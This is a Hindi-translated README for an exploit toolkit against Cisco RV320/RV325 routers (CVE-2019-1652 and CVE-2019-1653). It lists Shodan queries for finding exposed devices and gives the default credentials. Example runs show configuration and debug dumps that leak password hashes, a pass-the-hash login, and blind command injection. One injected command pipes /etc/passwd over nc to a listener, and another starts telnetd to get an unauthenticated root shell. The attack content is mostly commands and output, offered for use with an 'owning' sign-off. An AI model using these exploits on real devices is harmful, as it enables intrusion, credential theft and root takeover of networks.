
CVE-2019-1652 /CVE-2019-1653 Cisco RV320 कॉन्फ़िगरेशन और डीबगिंग डेटा को डंप करने के लिए एक्सप्लॉइट्स और रिमोट रूट एक्सप्लॉइट!
CVE-2019-1653/CVE-2019-1652 का उपयोग करके Cisco RV320 कॉन्फ़िगरेशन डंप करने और RCE प्राप्त करने के लिए एक्सप्लॉइट्स
CVE-2019-1652 और CVE-2019-1653 एक्सप्लॉइट्स के कार्यान्वयन, जिन्हें Red Team Pentesting GmbH द्वारा प्रकट किया गया था।
मैंने केवल RV320 पर इनका परीक्षण किया है, लेकिन Cisco सलाह के अनुसार, RV325 भी असुरक्षित है।
यदि आप यह जानने के लिए उत्सुक हैं कि उनमें से कितने बाहर हैं, तो निम्नलिखित Shodan क्वेरीज़ उन्हें खोजने में प्रतीत होती हैं। ऐसा लगता है कि काफी संख्या में हैं...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
ये कमजोरियाँ निम्नलिखित की अनुमति देती हैं:
एक तरफ, डिफ़ॉल्ट क्रेडेंशियल्स cisco:cisco हैं।
कॉन्फ़िगरेशन डंप एक्सप्लॉइट के लिए, बस टार्गेट, पोर्ट, ssl चालू/बंद, और आउटपुट डायरेक्टरी सेट करें। यह कॉन्फ़िगरेशन को वहाँ डंप करेगा।
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
डीबग डेटा डंपिंग एक्सप्लॉइट के लिए, यह वही प्रक्रिया है, लेकिन डंप किया गया डेटा बड़ा और एन्क्रिप्टेड होता है। आप इसे प्रदान की गई "decrypt.sh" स्क्रिप्ट का उपयोग करके, या मैन्युअल रूप से openssl का उपयोग करके डिक्रिप्ट करना चाहेंगे। इससे आपको एक tar फ़ाइल मिलेगी। डीबग आउटपुट न केवल कॉन्फ़िग प्राप्त करता है, बल्कि /etc और /var के बैकअप भी, और हाँ, /etc/shadow/ फ़ाइल मौजूद है। मैं अंततः डिक्रिप्शन स्क्रिप्ट को Python में फिर से लिखूंगा, लेकिन यह एक त्वरित क्लज था।
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
इनसे मिलने वाले क्रेडेंशियल्स (हैशेड) का उपयोग करके आप CVE-2019-1652 का शोषण करके डिवाइस पर कमांड निष्पादित कर सकते हैं।
आगे बढ़ने से पहले पासवर्ड के "हैशिंग" के बारे में कुछ नोट्स। इन पर, कॉन्फ़िग फ़ाइल में, आपको PASSWD नामक एक वेरिएबल मिलेगा जिसके बाद एक md5 हैश होता है। यह md5 हैश md5($password.$auth_key) है, जहाँ auth_key एक स्थिर मान है जिसे आप GET / करके और पार्स करके पा सकते हैं। एक सामान्य सा है जिसे मैंने RCE एक्सप्लॉइट में फ़ॉलबैक के रूप में हार्डकोड किया है यदि पेज पार्सर बकवास रीजेक्स विफल हो जाए।
CVE-2019-1652 एक तुच्छ शेल कमांड इंजेक्शन कमजोरी की रूपरेखा प्रस्तुत करता है, जिसके लिए प्रमाणीकरण की आवश्यकता होती है। exec_cmd.py इसे लागू करता है, यह मानते हुए कि आपके पास वैध लॉगिन क्रेडेंशियल्स हैं। "cisco:cisco" डिफ़ॉल्ट है, लेकिन आप कुछ हैश भी क्रैक कर सकते हैं।
कमांड इंजेक्शन ब्लाइंड है, इसलिए आपको कोई आउटपुट नहीं मिलेगा। वातावरण एक अत्यंत सीमित Busybox सेटअप है जिसमें एक कमजोर netcat है, और बॉक्स mips64 हैं, इसलिए मैंने इस बार रिवर्स-शेल एक्सप्लॉइट लिखने की जहमत नहीं उठाई। हालांकि, आप cat /etc/passwd | nc HOST PORT जैसी चीजें करके और एक लिसनर चलाकर कमांड आउटपुट प्राप्त कर सकते हैं, या जो भी हो।
आप telnetd -l /bin/sh -p 1337 जैसा कमांड भी इंजेक्ट कर सकते हैं और परिणामी telnet सेवा से कनेक्ट कर सकते हैं, जो आपको एक अच्छा अप्रमाणित रूट शेल प्रदान करेगा।
एक्सप्लॉइट का उदाहरण रन नीचे:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
तो क्योंकि Cisco, आप वास्तव में निकाले गए हैश को पास करके एक लॉग इन सत्र प्राप्त कर सकते हैं। इसलिए हमने एक एक्सप्लॉइट लिखा है जो हैश निकालता है और इसे पास करता है। इसे easy_access.py कहा जाता है। क्योंकि CGI बाइनरी के पथ में "EasyAccess" नामक एक फ़ोल्डर है।
EasyAccess का उदाहरण रन नीचे...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
हैपी ओनिंग, बच्चों।